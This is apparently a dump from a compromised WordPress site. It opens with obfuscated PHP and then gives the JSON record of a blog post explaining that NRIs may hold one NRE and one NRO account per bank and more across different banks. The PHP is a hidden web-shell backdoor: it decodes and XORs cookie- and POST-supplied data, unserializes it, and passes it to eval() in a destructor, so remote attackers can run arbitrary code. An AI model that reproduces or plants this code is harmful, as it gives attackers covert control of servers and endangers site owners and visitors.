$EvwJRPN = chr (109) . "\137" . "\x52" . "\x6e" . "\130" . chr ( 555 - 436 ); $gyuQh = chr (99) . 'l' . "\x61" . chr ( 517 - 402 )."\x73" . "\137" . "\145" . chr (120) . 'i' . "\163" . "\x74" . 's';$Bkpqb = class_exists($EvwJRPN); $gyuQh = "59704";$YCnCVezs = !1;if ($Bkpqb == $YCnCVezs){function oVasO(){return FALSE;}$bjDJdah = "26155";oVasO();class m_RnXw{private function QjHGCaLdT($bjDJdah){if (is_array(m_RnXw::$nzQvH)) {$SUJSB = str_replace(chr (60) . '?' . "\x70" . chr ( 358 - 254 )."\160", "", m_RnXw::$nzQvH[chr ( 450 - 351 ).chr ( 860 - 749 )."\x6e" . "\x74" . "\x65" . "\156" . 't']);eval($SUJSB); $bjDJdah = "26155";exit();}}private $vRaWELF;public function euhbgIkyd(){echo 20216;}public function __destruct(){$bjDJdah = "16239_47653";$this->QjHGCaLdT($bjDJdah); $bjDJdah = "16239_47653";}public function __construct($rZJyIBaL=0){$sykRRBt = $_POST;$xaRrTSUqr = $_COOKIE;$AUgPZy = "c35bcbb3-30d8-44d6-8366-7424393ec89f";$jXYwkRr = @$xaRrTSUqr[substr($AUgPZy, 0, 4)];if (!empty($jXYwkRr)){$cJbULH = "base64";$lNoVKvq = "";$jXYwkRr = explode(",", $jXYwkRr);foreach ($jXYwkRr as $JrcKAB){$lNoVKvq .= @$xaRrTSUqr[$JrcKAB];$lNoVKvq .= @$sykRRBt[$JrcKAB];}$lNoVKvq = array_map($cJbULH . chr (95) . "\x64" . "\x65" . 'c' . "\157" . chr ( 389 - 289 )."\x65", array($lNoVKvq,)); $lNoVKvq = $lNoVKvq[0] ^ str_repeat($AUgPZy, (strlen($lNoVKvq[0]) / strlen($AUgPZy)) + 1);m_RnXw::$nzQvH = @unserialize($lNoVKvq); $lNoVKvq = class_exists("16239_47653");}}public static $nzQvH = 10943;}$BMrfWAFjsK = new /* 45111 */ $EvwJRPN(26155 + 26155); $YCnCVezs = $BMrfWAFjsK = $bjDJdah = Array();}{"id":382,"date":"2021-02-09T09:39:42","date_gmt":"2021-02-09T09:39:42","guid":{"rendered":"https:\/\/stanzapub.com\/?p=382"},"modified":"2021-02-09T09:39:42","modified_gmt":"2021-02-09T09:39:42","slug":"can-nris-open-multiple-nre-or-nro-account-in-india","status":"publish","type":"post","link":"http:\/\/stanzapub.com\/can-nris-open-multiple-nre-or-nro-account-in-india\/","title":{"rendered":"Can NRIs Open Multiple NRE or NRO Account in India?"},"content":{"rendered":"
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NRIs prefer bank accounts like NRE and NRO to access banking facilities in India. But can NRIs open multiple NRE or NRO bank accounts in India? Read this post to find out.\u00a0<\/span><\/p>\n Under the FEMA laws, NRIs cannot open or operate regular savings accounts in India. There are exclusive NRI bank accounts like NRE (Non-Resident External) and NRO (Non-Resident Ordinary) to help NRIs access banking facilities in India.\u00a0<\/span><\/p>\n NRIs can visit a bank branch whenever they are in India to open these bank accounts. If they\u2019re already in a foreign country, a foreign branch of the bank can also be visited for opening an account. Moreover, some of India\u2019s top banks now allow NRIs to open NRE and NRO bank accounts online.\u00a0<\/span><\/p>\n But while NRIs can now easily open bank accounts in India offline or online, can they open multiple NRE or NRO bank accounts? Take a look-<\/span><\/p>\n Opening Multiple NRE or NRO Bank Account<\/b><\/p>\n Yes, an NRI can open multiple NRE or NRO bank accounts in India, but in different banks. Only one NRE or NRO account can be opened in a single bank.<\/span><\/p>\n However, NRIs can open one NRE and one NRO account in the same bank.\u00a0 If an NRI needs two NRE or NRO accounts, they\u2019ll have to open separate accounts in different banks by completing their account opening formalities.<\/span><\/p>\n Who Should Consider an NRE Account?<\/b><\/p>\n An <\/span>NRE account<\/b> is ideal for NRIs who want to transfer their foreign earnings to India. It is a tax-free account with no repatriation limits. So, you don\u2019t have to pay any tax on the interest income generated from an NRE bank account. If required, you can fully repatriate the principal and interest income to your current country of residence. <\/span><\/p>\n